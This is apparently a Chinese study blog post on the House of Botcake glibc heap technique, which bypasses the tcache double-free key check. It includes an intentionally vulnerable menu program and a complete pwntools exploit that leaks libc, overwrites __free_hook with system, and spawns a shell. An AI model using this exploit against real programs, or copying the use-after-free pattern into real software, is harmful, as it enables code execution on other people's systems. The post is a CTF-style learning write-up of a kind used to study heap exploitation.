当前位置: 首页 > news >正文

【我的 PWN 学习手札】House of Botcake —— tcache key 绕过

参考自看雪课程:PWN探索篇


前言

我们知道,自对 tcachebin 添加了 key 进行了 double free 检查后,利用起来薛微有些困难。double free 绕过检查机制,实则是因为释放时会检查 tcachebin 对应 size 的所有 free chunk。那么如果第二次 free 的 chunk 落入到其他 tcachebin,或者 fastbin,就可以实现绕过。

放入 tcachebin 绕过 tcache key 实现的 double free:【我的 PWN 学习手札】House of Karui —— tcache key 绕过手法-CSDN博客 

放入其他 fastbin 绕过 tcache key 实现的 double free:【我的 PWN 学习手札】tcache stash with fastbin double free —— tcache key 绕过-CSDN博客

本篇博客则通过借助 unsortedbin 实现 tcache key 的检查绕过,实现 double free


一、House of Botcake

废话不多说,之切入主题

我们连续 malloc 9块大于 fastbin chunk 大小的堆块,然后释放7块填充 tcachebin

 然后释放chunk8、chunk9,会落入 unsortedbin 并进行合并

这时候我们将一块 0x100 大小的 chunk 申请出来,然后再 free 掉 chunk9

 ok,现在你可能发现已经构成了double free 了,只要我们申请不是 0x100 大小的 chunk,就会从 unsortedbin 中进行切割。因此我们实际上是可以分一次或多次,将 chunk9 的一部分或全部申请出来。

二、测试与模板

#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>char *chunk_list[0x100];void menu() {puts("1. add chunk");puts("2. delete chunk");puts("3. edit chunk");puts("4. show chunk");puts("5. exit");puts("choice:");
}int get_num() {char buf[0x10];read(0, buf, sizeof(buf));return atoi(buf);
}void add_chunk() {puts("index:");int index = get_num();puts("size:");int size = get_num();chunk_list[index] = malloc(size);
}void delete_chunk() {puts("index:");int index = get_num();free(chunk_list[index]);
}void edit_chunk() {puts("index:");int index = get_num();puts("length:");int length = get_num();puts("content:");read(0, chunk_list[index], length);
}void show_chunk() {puts("index:");int index = get_num();puts(chunk_list[index]);
}int main() {setbuf(stdin, NULL);setbuf(stdout, NULL);setbuf(stderr, NULL);while (1) {menu();switch (get_num()) {case 1:add_chunk();break;case 2:delete_chunk();break;case 3:edit_chunk();break;case 4:show_chunk();break;case 5:exit(0);default:puts("invalid choice.");}}
}
from pwn import *
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
context.arch=elf.arch
context.log_level='debug'io=process('./pwn')
def add(index,size):io.sendlineafter(b'choice:\n',b'1')io.sendlineafter(b'index:\n',str(index).encode())io.sendlineafter(b'size:\n',str(size).encode())
def delete(index):io.sendlineafter(b'choice:\n',b'2')io.sendlineafter(b'index:\n',str(index).encode())
def edit(index,length,content):io.sendlineafter(b'choice:\n',b'3')io.sendlineafter(b'index',str(index).encode())io.sendlineafter(b'length:\n',str(length).encode())io.sendafter(b'content:\n',content)
def show(index):io.sendlineafter(b'choice:\n',b'4')io.sendlineafter(b'index:\n',str(index).encode())gdb.attach(io)
# leak libc
add(0,0x410)
add(1,0x10)
delete(0)
show(0)
libc_base=u64(io.recv(6).ljust(8,b'\x00'))-0x7591b55b6be0+0x7591b5200000
libc.address=libc_base
success(hex(libc_base))
add(0,0x410)# house of botcake
for i in range(9):add(i,0x90)
add(10,0x10)
for i in range(7):delete(i)
delete(7)
delete(8)
add(0,0x90)
delete(8)
pause()
add(0,0x70)
pause()
add(0,0x40)
pause()
edit(0,0x28,p64(0)*2+p64(0xa0)*2+p64(libc.sym['__free_hook']))
add(0,0x90)
add(0,0x90)
edit(0,0x8,p64(libc.sym['system']))
edit(1,0x8,b'/bin/sh\x00')
delete(1)
io.interactive()

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 量化交易----数据透视表----融资融券优惠代码
  • 前端三大框架 Vue、React 和 Angular 的市场占比分析
  • 【AI】简单了解AIGC与ChatGPT
  • Rocky Linux 9 中添加或删除某个网卡的静态路由的方法
  • Vue使用Vue Router路由:通过URL传递与获取参数
  • 内网穿透(当使用支付宝沙箱的时候需要内网穿透进行回调)
  • 【MySQL】库的相关操作
  • Vxe UI vue vxe-table 实现自适应列宽,根据内容自适应列的宽度
  • ES 索引或索引模板
  • 第五章 继承、多态、抽象类与接口 (5)
  • Webpack 和 Rollup、Parcel 区别
  • C++vector类的模拟实现
  • 为什么网上Python爬虫教程这么多,但是做爬虫的这么少呢?
  • 【6】AT32F437 OpenHarmony轻量系统移植教程(3)
  • filebeat采集挂载出来的/home/Logs下的日志过程
  • 【JavaScript】通过闭包创建具有私有属性的实例对象
  • create-react-app做的留言板
  • JavaScript的使用你知道几种?(上)
  • javascript面向对象之创建对象
  • js正则,这点儿就够用了
  • React Native移动开发实战-3-实现页面间的数据传递
  • Vue2.0 实现互斥
  • 翻译--Thinking in React
  • 给Prometheus造假数据的方法
  • 基于web的全景—— Pannellum小试
  • 看图轻松理解数据结构与算法系列(基于数组的栈)
  • 聊聊spring cloud的LoadBalancerAutoConfiguration
  • 名企6年Java程序员的工作总结,写给在迷茫中的你!
  • 前端面试题总结
  • 深入 Nginx 之配置篇
  • 什么软件可以剪辑音乐?
  • 试着探索高并发下的系统架构面貌
  • 为物联网而生:高性能时间序列数据库HiTSDB商业化首发!
  • PostgreSQL 快速给指定表每个字段创建索引 - 1
  • ​【数据结构与算法】冒泡排序:简单易懂的排序算法解析
  • ​十个常见的 Python 脚本 (详细介绍 + 代码举例)
  • #162 (Div. 2)
  • #java学习笔记(面向对象)----(未完结)
  • #QT(TCP网络编程-服务端)
  • #我与Java虚拟机的故事#连载02:“小蓝”陪伴的日日夜夜
  • #知识分享#笔记#学习方法
  • (14)学习笔记:动手深度学习(Pytorch神经网络基础)
  • (2)(2.10) LTM telemetry
  • (LNMP) How To Install Linux, nginx, MySQL, PHP
  • (二十一)devops持续集成开发——使用jenkins的Docker Pipeline插件完成docker项目的pipeline流水线发布
  • (十二)python网络爬虫(理论+实战)——实战:使用BeautfulSoup解析baidu热搜新闻数据
  • (文章复现)基于主从博弈的售电商多元零售套餐设计与多级市场购电策略
  • (五)MySQL的备份及恢复
  • (原創) 人會胖會瘦,都是自我要求的結果 (日記)
  • (原創) 系統分析和系統設計有什麼差別? (OO)
  • (源码版)2024美国大学生数学建模E题财产保险的可持续模型详解思路+具体代码季节性时序预测SARIMA天气预测建模
  • (转)LINQ之路
  • *ST京蓝入股力合节能 着力绿色智慧城市服务
  • .NET Core/Framework 创建委托以大幅度提高反射调用的性能
  • .net framework 4.8 开发windows系统服务